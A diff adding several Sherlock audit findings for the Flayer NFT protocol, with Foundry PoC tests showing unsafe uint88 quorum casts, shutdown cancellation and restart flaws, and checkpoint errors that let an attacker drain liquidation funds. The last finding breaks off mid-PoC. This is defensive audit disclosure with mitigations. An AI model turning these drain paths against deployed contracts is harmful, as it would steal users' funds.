+## Impact
+Wrong `quorumVotes` will be stored. As result, collection will be shutdown with much `less` votes than required
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L146
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L245C4-L248C10
+
+## Tool used
+Manual Review
+
+## Recommendation
+Use OpenZeppelin's `SafeCast` library to convert `uint256` to `uint88`
\ No newline at end of file
diff --git a/001/143.md b/001/143.md
new file mode 100644
index 0000000..fb30431
--- /dev/null
+++ b/001/143.md
@@ -0,0 +1,129 @@
+Warm Daisy Tiger
+
+High
+
+# Voters will be blocked from claiming liquidation share
+
+### Summary
+
+After the shutdown is executed, an attacker can brick the shutdown parameters (by voting and creating new collection token) to successfully cancel the shutdown. This will delete all shutdown parameters and block voters from claiming liquidation share.
+
+### Root Cause
+
+- The function `CollectionShutdown#cancel()` [requires that the shutdown is `canExecute`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L393).
+- However, even after it is executed, an user can still votes and [change the flag `canExecute` to true](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L208-L211)
+- The function `CollectionShutdown#cancel()` can be executed if [`params.collectionToken.totalSupply >= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L398), which means that the total supply of the **delisted** (delisted from `Locker`) collection token is higher than the **current** collection token for that `_collection`
+- The function `CollectionShutdown#cancel()` will [delete the collection shutdown parameters](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L403), which will cause the function `CollectionShutdown#claim()` to [revert here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L292). The same revert happens with function [`voteAndClaim()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L326)
+
+### Internal pre-conditions
+
+1. An user calls `CollectionShutdown#start()`
+2. Users call `CollectionShutdown#vote()`
+3. Quorum passes
+4. Owner calls `CollectionShutdown#execute()`
+5. The `Locker` contract will delist the collection, through the call at step 4
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. After shutdown is executed, an attacker calls `CollectionShutdown#vote()`
+2. Attacker calls `Locker#createCollection()` for the targeting collection address
+3. Attacker calls `CollectionShutdown#cancel()`
+4. Voters fail to call `CollectionShutdown#claim()`
+
+### Impact
+
+- Voters can not claim their liquidation share
+
+### PoC
+
+Update the test `test_CanExecuteShutdown` as below:
+
+```solidity
+ function test_CanExecuteShutdown() public withDistributedCollection {
+ // Make a vote with our test user that holds `1 ether`, which will pass quorum
+ collectionShutdown.vote(address(erc721b));
+
+ // Confirm that we can now execute
+ assertCanExecute(address(erc721b), true);
+
+ // Mint NFTs into our collection {Locker}
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+
+ // Process the execution as the owner
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // After we have executed, we should no longer have an execute flag
+ assertCanExecute(address(erc721b), false);
+
+ // Confirm that the {CollectionToken} has been sunset from our {Locker}
+ assertEq(address(locker.collectionToken(address(erc721b))), address(0));
+
+ // Confirm that our sweeper pool has been assigned
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721b));
+ assertEq(shutdownParams.sweeperPool, SUDOSWAP_POOL);
+
+ // Ensure that `canExecute` has been set to `false`
+ assertCanExecute(address(erc721b), false);
+
+ // Confirm that our tokens are held by the sudoswap pool
+ for (uint i; i < tokenIds.length; ++i) {
+ assertEq(erc721b.ownerOf(tokenIds[i]), SUDOSWAP_POOL);
+ }
+
+ // Test that our price will decline in a linear manner
+ (,,, uint inputAmount,,) = ILSSVMPair(shutdownParams.sweeperPool).getBuyNFTQuote(0, 1);
+ assertEq(inputAmount, 500 ether + 2.5 ether);
+
+ // After 1 day
+ vm.warp(block.timestamp + 1 days);
+ (,,, inputAmount,,) = ILSSVMPair(shutdownParams.sweeperPool).getBuyNFTQuote(0, 1);
+ assertEq(inputAmount, 430.714285714285714286 ether);
+
+ // After 7 days
+ vm.warp(block.timestamp + 6 days);
+ (,,, inputAmount,,) = ILSSVMPair(shutdownParams.sweeperPool).getBuyNFTQuote(0, 1);
+ assertEq(inputAmount, 0);
+
+ // Assume that attacker has Collection Token to vote
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(this), 1 ether);
+ vm.stopPrank();
+ collectionShutdown.vote(address(erc721b));
+
+
+ // Assume that attacker has at least 1 NFT
+ erc721b.mint(address(this), 123);
+ // attacker create collection token
+ locker.createCollection(address(erc721b), "ASD", "ASD", 0);
+
+ // attacker deposit to locker
+ erc721b.approve(address(locker), 123);
+ locker.deposit(address(erc721b), _tokenIdToArray(123), address(this));
+
+ // call cancel to delete shutdown parameters
+ collectionShutdown.cancel(address(erc721b));
+
+ // Assume that NFTs on sudoswap liquidated
+ deal(shutdownParams.sweeperPool, 10 ether);
+ vm.startPrank(shutdownParams.sweeperPool);
+ address(collectionShutdown).call{value: 10 ether}('');
+ vm.stopPrank();
+
+ // Try to claim funds
+ collectionShutdown.claim(address(erc721b), payable(address(this)));
+ }
+```
+
+Run the test and console shows:
+```bash
+Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[FAIL. Reason: ShutdownNotExecuted()] test_CanExecuteShutdown() (gas: 2126131)
+```
+
+### Mitigation
+
+- Update logic for function `cancel()` to prevent executed shutdown from cancellation
\ No newline at end of file
diff --git a/001/146.md b/001/146.md
new file mode 100644
index 0000000..347862f
--- /dev/null
+++ b/001/146.md
@@ -0,0 +1,130 @@
+Raspy Raspberry Tapir
+
+High
+
+# Quorum overflow in `CollectionShutdown` leads to complete drain of contract's funds
+
+### Summary
+
+[CollectionShutdown.sol#150](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150) and [CollectionShutdown.sol#L247](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L247) cast quorum votes to `uint88` as follows:
+
+```solidity
+uint totalSupply = params.collectionToken.totalSupply();
+if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+
+// Set our quorum vote requirement
+params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+```
+
+The problem with the above is that it may overflow:
+- `collectionToken.denomination()` may max `9`
+- `MAX_SHUTDOWN_TOKENS == 4`
+- `SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT == 1/2`
+- Collection tokens are minted in `Locker` [as follows](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L163):
+ - `token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());`
+
+E.g. with `totalSupply == 0.6190 ether * 10**9`, we have that the check still passes, but:
+- `totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT = 0.3095 ether * 10**9`
+- `type(uint88).max ~= 0.309485 ether * 10**9`
+- `uint88(0.3095 ether * 10**9) ~= 0.000015 ether * 10**9`
+
+Upon collection shutdown, tokens are sold on Sudoswap, and the funds thus obtained are distributed among the claimants. The claimed amount is then _divided by `quorumVotes`_ [as follows](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310):
+
+```solidity
+uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+```
+
+Thus, when dividing by a much smaller `quorumVotes`, the claimant receives much more than they are eligible for: in the PoC it's `20647 ether` though only `1 ether` has been received from sales.
+
+### Root Cause
+
+[CollectionShutdown.sol#150](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150) and [CollectionShutdown.sol#L247](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L247) downcast the quorum votes to `uint88`, which may overflow.
+
+### Internal pre-conditions
+
+1. The collection token denomination needs to be sufficiently large to cause overflow
+2. The amount of shutdown votes needs to be sufficiently large to cause overflow.
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. A user creates a collection with denomination `9`
+2. The user holding `0.6190 ether * 10**9` of the collection token (i.e. less than 1 NFT) starts collection shutdown.
+ - At that point the quorum of votes overflows, and becomes much smaller
+4. Collection shutdown is executed normally.
+5. Tokens are sold on Sudoswap.
+ - In the PoC they are sold for `1 ether`.
+7. User claims the balance. Due to the overflow, they receive much more than what their NFTs were worth.
+ - In the PoC user receives `20647 ether` though only `1 ether` has been received from sales.
+
+### Impact
+
+The protocol suffers unbounded losses (the whole balance of `CollectionShutdown` contract can be drained.
+
+### PoC
+
+Drop this test to [CollectionShutdown.t.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/utils/CollectionShutdown.t.sol#L51) and execute with `forge test --match-test test_QuorumOverflow`:
+
+```solidity
+function test_QuorumOverflow() public {
+ locker.createCollection(address(erc721c), 'Test Collection', 'TEST', 9);
+
+ // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
+ locker.setInitialized(address(erc721c), true);
+
+ // Set our collection token for ease for reference in tests
+ collectionToken = locker.collectionToken(address(erc721c));
+
+ // Approve our shutdown contract to use test suite's tokens
+ collectionToken.approve(address(collectionShutdown), type(uint).max);
+
+ // Give some initial balance to CollectionShutdown contract
+ vm.deal(address(collectionShutdown), 30000 ether);
+
+ vm.startPrank(address(locker));
+ // Suppose address(1) holds 0.6190 ether
+ // in a collection token with denomination 9
+ collectionToken.mint(address(1), 0.6190 ether * 10**9);
+ vm.stopPrank();
+
+ // Start collection shutdown from address(1)
+ vm.startPrank(address(1));
+ collectionToken.approve(address(collectionShutdown), 0.6190 ether * 10**9);
+ collectionShutdown.start(address(erc721c));
+ vm.stopPrank();
+
+ // Mint NFTs into our collection {Locker} and process the execution
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721c, 3);
+ collectionShutdown.execute(address(erc721c), tokenIds);
+
+ // Mock the process of the Sudoswap pool liquidating the NFTs for ETH.
+ vm.startPrank(SUDOSWAP_POOL);
+ // Transfer the specified tokens away from the Sudoswap position to simulate a purchase
+ for (uint i; i < tokenIds.length; ++i) {
+ erc721c.transferFrom(SUDOSWAP_POOL, address(5), i);
+ }
+ // Ensure the sudoswap pool has enough ETH to send
+ deal(SUDOSWAP_POOL, 1 ether);
+ // Send ETH from the Sudoswap Pool into the {CollectionShutdown} contract
+ (bool sent,) = payable(address(collectionShutdown)).call{value: 1 ether}('');
+ require(sent, 'Failed to send {CollectionShutdown} contract');
+ vm.stopPrank();
+
+ // Get our start balances so that we can compare to closing balances from claim
+ uint startBalanceAddress = payable(address(1)).balance;
+
+ // address(1) now can claim
+ collectionShutdown.claim(address(erc721c), payable(address(1)));
+
+ // Due to quorum overflow, address(1) now holds ~ 20647 ether
+ assertApproxEqRel(payable(address(1)).balance - startBalanceAddress, 20647 ether, 0.01 ether);
+}
+```
+
+### Mitigation
+
+Employ the appropriate type and cast for `quorumVotes`, e.g. `uint92`.
\ No newline at end of file
diff --git a/001/148.md b/001/148.md
new file mode 100644
index 0000000..8b655f9
--- /dev/null
+++ b/001/148.md
@@ -0,0 +1,197 @@
+Wonderful Rouge Hamster
+
+High
+
+# Creating multiple listings for the same collection causes the checkpoint's compoundFactor to be smaller than it should be
+
+### Summary
+
+In `ProtectedListings.createListings()` it will only create a checkpoint the first time it encounters a new collection. If multiple listings are created for the same collection it won't update the checkpoint causing the `compoundFactor` to be lower than it should be. A lower compound factor decreases the interest the user has to pay causing a loss of funds for the protocol.
+
+### Root Cause
+
+In [ProtectedListings.sol:136](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L136) it will only create a checkpoint for a collection if it's seen for the first time.
+
+```sol
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+```
+
+When a checkpoint is created, it calculates the `compoundedFactor` which is used for the interest calculation of all the listings of a collection:
+
+```sol
+ function _currentCheckpoint(address _collection) internal view returns (Checkpoint memory checkpoint_) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // Update the compounded factor with the new interest rate and time period
+ Checkpoint memory previousCheckpoint = collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 1];
+
+ // Save the new checkpoint
+ checkpoint_ = Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: block.timestamp - previousCheckpoint.timestamp
+ }),
+ timestamp: block.timestamp
+ });
+ }
+
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+ listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+The number of listings as well as the collection token's total supply are part of the calculation. Meaning, any new listing that's created affects the utilization rate which in turn affects the `compoundedFactor` and thus should be reflected in a new checkpoint.
+
+By creating multiple listings for the same collection within a single call to `createListings()` we can create listings that don't affect the checkpoint and thus break the interest calculation.
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. Attacker creates multiple listings for a given collection in a single call to `createListings()`.
+
+### Impact
+
+The interest calculation will be off causing users to pay less than they should when they unlock their tokens.
+
+### PoC
+
+```diff
+diff --git a/flayer/test/ProtectedListings.t.sol b/flayer/test/ProtectedListings.t.sol
+index 5910d33..34df244 100644
+--- a/flayer/test/ProtectedListings.t.sol
++++ b/flayer/test/ProtectedListings.t.sol
+@@ -38,6 +38,88 @@ contract ProtectedListingsTest is Deployers, FlayerTest {
+ _addLiquidityToPool(address(erc721a), 10 ether, int(0.00001 ether), false);
+ }
+
++ function test_multiple_listings_breaks_checkpoints() public {
++ address user = vm.addr(4);
++ erc721a.mint(user, 10);
++ erc721a.mint(user, 11);
++ erc721a.mint(user, 12);
++
++ // First scenario:
++ // we create multiple listings for the same colelction within a single call
++ // to `createListings()`
++
++ vm.startPrank(user);
++ erc721a.setApprovalForAll(address(protectedListings), true);
++
++ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
++ owner: payable(user),
++ tokenTaken: 0.4 ether,
++ checkpoint: 0
++ });
++
++ IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](3);
++ _listings[0] = IProtectedListings.CreateListing({
++ collection: address(erc721a),
++ tokenIds: _tokenIdToArray(10),
++ listing: listing
++ });
++ _listings[1] = IProtectedListings.CreateListing({
++ collection: address(erc721a),
++ tokenIds: _tokenIdToArray(11),
++ listing: listing
++ });
++ _listings[2] = IProtectedListings.CreateListing({
++ collection: address(erc721a),
++ tokenIds: _tokenIdToArray(12),
++ listing: listing
++ });
++
++ protectedListings.createListings(_listings);
++
++ IProtectedListings.Checkpoint[] memory checkpoints = protectedListings.getCheckpoints(address(erc721a));
++ IProtectedListings.Checkpoint memory checkpoint = checkpoints[0];
++ assertEq(checkpoint.timestamp, block.timestamp);
++ assertEq(checkpoint.compoundedFactor, 1000000000000000000);
++
++ vm.stopPrank();
++
++ // Second scenario:
++ // We create two listings in two independent transactions which means that
++ // two separate checkpoints are created.
++
++ address user2 = vm.addr(5);
++ erc721b.mint(user2, 10);
++ erc721b.mint(user2, 11);
++
++ vm.startPrank(user2);
++ erc721b.setApprovalForAll(address(protectedListings), true);
++
++ _listings = new IProtectedListings.CreateListing[](1);
++ _listings[0] = IProtectedListings.CreateListing({
++ collection: address(erc721b),
++ tokenIds: _tokenIdToArray(10),
++ listing: listing
++ });
++
++ protectedListings.createListings(_listings);
++
++ vm.warp(block.timestamp + 12);
++
++ _listings[0].tokenIds = _tokenIdToArray(11);
++ protectedListings.createListings(_listings);
++
++ IProtectedListings.Checkpoint[] memory checkpointsB = protectedListings.getCheckpoints(address(erc721b));
++
++ assertEq(checkpointsB.length, 2);
++
++ assertEq(checkpointsB[0].timestamp, block.timestamp - 12);
++ assertEq(checkpointsB[0].compoundedFactor, 1000000000000000000);
++ // compound factor changed because the previous listing affects the new checkpoint's
++ // compound factor calculation
++ assertEq(checkpointsB[1].timestamp, block.timestamp);
++ assertEq(checkpointsB[1].compoundedFactor, 1000000101978691012);
++ }
++
+ function test_CanCreateProtectedListing(address payable _owner, uint _tokenId) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+diff --git a/flayer/test/mocks/ProtectedListingsMock.sol b/flayer/test/mocks/ProtectedListingsMock.sol
+index 902413c..ebbcfc0 100644
+--- a/flayer/test/mocks/ProtectedListingsMock.sol
++++ b/flayer/test/mocks/ProtectedListingsMock.sol
+@@ -23,4 +23,8 @@ contract ProtectedListingsMock is ProtectedListings {
+ listingCount[_collection] = _amount;
+ }
+
++ function getCheckpoints(address _collection) public view returns (Checkpoint[] memory) {
++ return collectionCheckpoints[_collection];
++ }
++
+ }
+
+```
+
+In the PoC only a single checkpoint is created for the scenario where we create multiple listings within the same tx. The checkpoint has the same compounded factor as the one in the other scenario where we create only a single listing.
+
+### Mitigation
+
+checkpoint should be updated for each new listing.
\ No newline at end of file
diff --git a/001/150.md b/001/150.md
new file mode 100644
index 0000000..f56ec6f
--- /dev/null
+++ b/001/150.md
@@ -0,0 +1,130 @@
+Warm Daisy Tiger
+
+High
+
+# Liquidation shares will be drained by re-starting a shutdown
+
+### Summary
+
+Incorrect check in function `CollectionShutdown#start()` will cause an attacker to re-start a shutdown for an executed shutdown to drain ether from the contract
+
+### Root Cause
+
+- The function `CollectionShutdown#start()` checks if a shutdown is [already started by checking `shutdownVotes != 0`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L141).
+- Meanwhile, the function `CollectionShutdown#reclaimVote()` allows users to [reclaim votes even if shutdown is already executed](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L360), because [`canExecute` is set to `false` in the end of function `CollectionShutdown#execute()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L273)
+- By the above points, an attacker can reclaim all votes from an executed shutdown (if he has enough control) and then re-create collection token and re-create shutdown with a very low quorum. After that, the attacker can claim a large amount of fund by increasing his new collection token
+
+### Internal pre-conditions
+
+1. Attacker calls `Locker#createCollection()`
+2. Attacker calls `CollectionShutdown#start()`
+3. Shutdown vote quorum passes
+4. Owner calls `execute()` for the collection attacker created
+5. There are liquidation shares from other shutdowns different from the one attacker created
+
+### External pre-conditions
+
+1. The attacker collection's NFTs listed on Sudoswap are liquidated
+
+### Attack Path
+
+1. Attacker calls `Locker#createCollection(......)`
+2. Attacker calls `CollectionShutdown#start()`
+3. Owner calls `CollectionShutdown#execute(......)` for the collection attacker created
+4. Attacker calls `CollectionShutdown#reclaimVote()`
+5. Attacker calls `Locker#createCollection(......)` again
+6. Attacker calls `CollectionShutdown#start()` again => New quorum is set
+7. Attacker calls `Locker#deposit(......)` to increase his CT balance
+8. Attacker liquidates NFTs listed on Sudoswap, which done in step 3
+9. Attacker calls `CollectionShutdown#voteAndClaim()`
+
+### Impact
+
+- Attacker can steal all liquidation fund in the contract
+- Fund stolen by attacker will be under his [controlled values `params.availableClaim`, `userVotes`, and `params.quorumVotes`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L343)
+
+### PoC
+
+Add the test below to test file `CollectionShutdown.t.sol`
+```solidity
+ function test_drain_liquidation_share() public {
+ // assume (this) is attacker
+
+ // assume attacker has NFT and minted collection token
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(this), 2 ether);
+ vm.stopPrank();
+
+
+ // start shutdown first time
+ collectionToken.approve(address(collectionShutdown), type(uint256).max);
+ collectionShutdown.start(address(erc721b));
+
+ assertCanExecute(address(erc721b), true); // executable
+
+ // Mint NFTs into our collection {Locker} and process the execution
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+
+ // Owner execute shutdown
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // attacker reclaim vote
+ collectionShutdown.reclaimVote(address(erc721b));
+
+ // assume that attacker has NFTs
+ erc721b.mint(address(this), 123);
+
+ // attacker re-creates collection
+ address ct = locker.createCollection(address(erc721b), "A", "A", 0);
+
+ // deposit NFT to receive Collection token
+ erc721b.setApprovalForAll(address(locker), true);
+ locker.deposit(address(erc721b), _tokenIdToArray(123));
+
+
+ // attacker re-starts a new shutdown
+ ICollectionToken(ct).approve(address(collectionShutdown), type(uint256).max);
+ collectionShutdown.start(address(erc721b));
+
+ // assume that attacker has other NFTs
+ uint[] memory ids = new uint[](6);
+ for(uint i = 200; i < 206; ++i){
+ erc721b.mint(address(this), i);
+ ids[i - 200] = i;
+ }
+
+ // continue depositing to receive more Collection token
+ locker.deposit(address(erc721b), ids);
+
+ // NFTs liquidated
+ _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether); // availableClaim = 2 ether
+
+ // assume that there are other liquidation shares from other collection shutdowns,
+ // which is still held by the contract
+ address(collectionShutdown).call{value: 10 ether}('');
+
+
+ // call voteAndClaim to drain
+ uint balanceBefore = address(collectionShutdown).balance;
+ collectionShutdown.voteAndClaim(address(erc721b)); // balance = 6 * quorumVotes ====> steal 12 ether
+ uint balanceAfter = address(collectionShutdown).balance;
+
+ console.log("CollectionShutdown balance before %s", balanceBefore);
+ console.log("CollectionShutdown balance after %s", balanceAfter);
+ }
+```
+
+Run the test and console shows
+```bash
+Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[PASS] test_drain_liquidation_share() (gas: 2519196)
+Logs:
+ CollectionShutdown balance before 12000000000000000000
+ CollectionShutdown balance after 0
+```
+
+Note that values are set simple to demonstrate the attack
+
+### Mitigation
+
+- Add check for `require(param.sweeperPool == address(0))` in function `start()`
\ No newline at end of file
diff --git a/001/152.md b/001/152.md
new file mode 100644
index 0000000..3efdd10
--- /dev/null
+++ b/001/152.md
@@ -0,0 +1,61 @@
+Wobbly Neon Hyena
+
+High
+
+# Users can't reclaim their votes after canceling a collection shutdown process
+
+### Summary
+
+When starting a shutdown process for a collection the total supply of the collection token should be below a certain threshold, users vote on that process by staking their collection tokens. If the total supply of this collection increases over that threshold before having the process executed, the process is subject to cancelation.
+
+When canceling a shutdown process, using the `CollectionShutdown::cancel` function, collection params of that collection are cleared:
+```solidity
+// Remove our execution flag
+delete _collectionParams[_collection];
+```
+
+However, when users want to reclaim their tokens after canceling the process, by calling `CollectionShutdown::reclaimVote`, it'll try to subtract the user votes from `params.shutdownVotes`, which will always revert with underflow, as `params.shutdownVotes` is 0 after clearing the params.
+
+This causes the tokens staked for voting to be stuck forever.
+
+### Root Cause
+
+When a shutdown is canceled in `CollectionShutdown::cancel`, `_collectionParams[_collection]` is completely cleared, and when a user tries to reclaim their vote tokens, user votes will be subtracted from `params.shutdownVotes` which doesn't exist anymore, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369).
+
+### Impact
+
+Tokens that have been used to vote on the shutdown process will be stuck forever after canceling the shutdown process.
+
+### PoC
+
+Add the following test in `flayer/test/utils/CollectionShutdown.t.sol`:
+
+```solidity
+function test_CantReclaimAfterCancel() public withDistributedCollection {
+ // Vote on shutdown process
+ collectionShutdown.vote(address(erc721b));
+
+ // Some collection tokens are minted
+ vm.prank(address(locker));
+ collectionToken.mint(address(this), 1 ether);
+
+ // Shutdown process is cancelled
+ collectionShutdown.cancel(address(erc721b));
+
+ // Can't reclaim vote, reverts with underflow error
+ vm.expectRevert(stdError.arithmeticError);
+ collectionShutdown.reclaimVote(address(erc721b));
+}
+```
+
+### Mitigation
+
+In `CollectionShutdown::reclaimVote`, handle the case where the user is reclaiming his vote tokens while having `params.shutdownVotes == 0`, maybe something like:
+```solidity
+if (params.shutdownVotes > 0) {
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+}
+
+```
\ No newline at end of file
diff --git a/001/153.md b/001/153.md
new file mode 100644
index 0000000..9707ab0
--- /dev/null
+++ b/001/153.md
@@ -0,0 +1,125 @@
+Warm Daisy Tiger
+
+High
+
+# Liquidation shares will be drained due to unsafe typecasting
+
+### Summary
+
+The unsafe typecasting in function `CollectionShutdown#start()` will cause the shutdown `quorumVotes` to be loss of precision, which lets voters to claim more than expected
+
+### Root Cause
+
+- In `CollectionShutdown#start()`, there is an [unsafe typecasting for value `quorumVotes`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L150)
+- In function [`CollectionShutdown#execute()`, `quorumVotes` is updated with unsafe typecasting](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L245-L248)
+- Collection token allows maximum `denomination` to be 9, so collection token's total supply can be very high (exceeding type range of `uint88`), rendering `quorumVotes` to be loss of precision
+
+### Internal pre-conditions
+
+1. Collection shutdown is started
+2. Quorum passes
+3. Owner calls `CollectionShutdown#execute()`
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Attacker calls `Locker#createCollection(......)` with `denomination = 8`
+2. Attacker calls `Locker#deposit(......)` to deposit 1 NFT and receive `1e26` CT
+3. Attacker calls `CollectionShutdown#start(......)`, rendering `quorumVotes = 5e25` and quorum passes
+4. Attacker calls `Locker#deposit(......)` to deposit 10 NFT and receive `1e27` CT
+5. Owner calls `CollectionShutdown#execute(......)` => `quorumVotes` is updated to value `240514990178654931275218944` ( = 2.405e26 ), which is 88 bits LSB of `5.5e26`
+6. Attacker liquidates collection A's NFTs listed to Sudoswap by step 5
+7. Attacker calls `CollectionShutdown#voteAndClaim()` to drain fund
+
+Note that amounts are set simple to demonstrate the attack
+
+### Impact
+
+- The attacker can steal liquidation fund held by the contract
+
+### PoC
+
+Add the test below to file `CollectionShutdown.t.sol` :
+
+```solidity
+function test_unsafe_typecasting() public {
+ erc721b = new ERC721Mock();
+
+ // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
+ // is explicitly created in a number of tests.
+ locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 8);
+
+ // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
+ locker.setInitialized(address(erc721b), true);
+
+ // Set our collection token for ease for reference in tests
+ collectionToken = locker.collectionToken(address(erc721b));
+
+ // Approve our shutdown contract to use test suite's tokens
+ collectionToken.approve(address(collectionShutdown), type(uint).max);
+
+ // Mint some collection token to attacker
+ _distributeCollectionTokens(collectionToken, address(this), 1 ether * 1e8, 4 ether);
+
+ // start a shutdown
+ collectionShutdown.start(address(erc721b));
+
+
+ // assume that attacker has NFTs
+ uint[] memory ids = new uint[](10);
+ for(uint i ; i < 10; ++i){
+ erc721b.mint(address(this), 100 + i);
+ ids[i] = 100 + i;
+ }
+
+ // attacker deposit NFTs
+ erc721b.setApprovalForAll(address(locker), true);
+ locker.deposit(address(erc721b), ids, address(this));
+
+ // total supply exceeds uint88 range
+ assertEq(collectionToken.totalSupply(), 11 ether * 1e8);
+
+
+ // Mint NFTs into our collection {Locker}
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+ // Process the execution as the owner
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // assume that NFTs are liquidated by the attacker with 2 ether
+ _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);
+
+ // other liquidated fund stays in contract
+ address(collectionShutdown).call{value: 10 ether}('');
+
+
+ uint balanceBefore = address(collectionShutdown).balance;
+ // attacker drains fund
+ collectionShutdown.voteAndClaim(address(erc721b));
+
+ uint balanceAfter = address(collectionShutdown).balance;
+
+ console.log("CollectionShutdown balance before %s", balanceBefore);
+ console.log("CollectionShutdown balance after %s", balanceAfter);
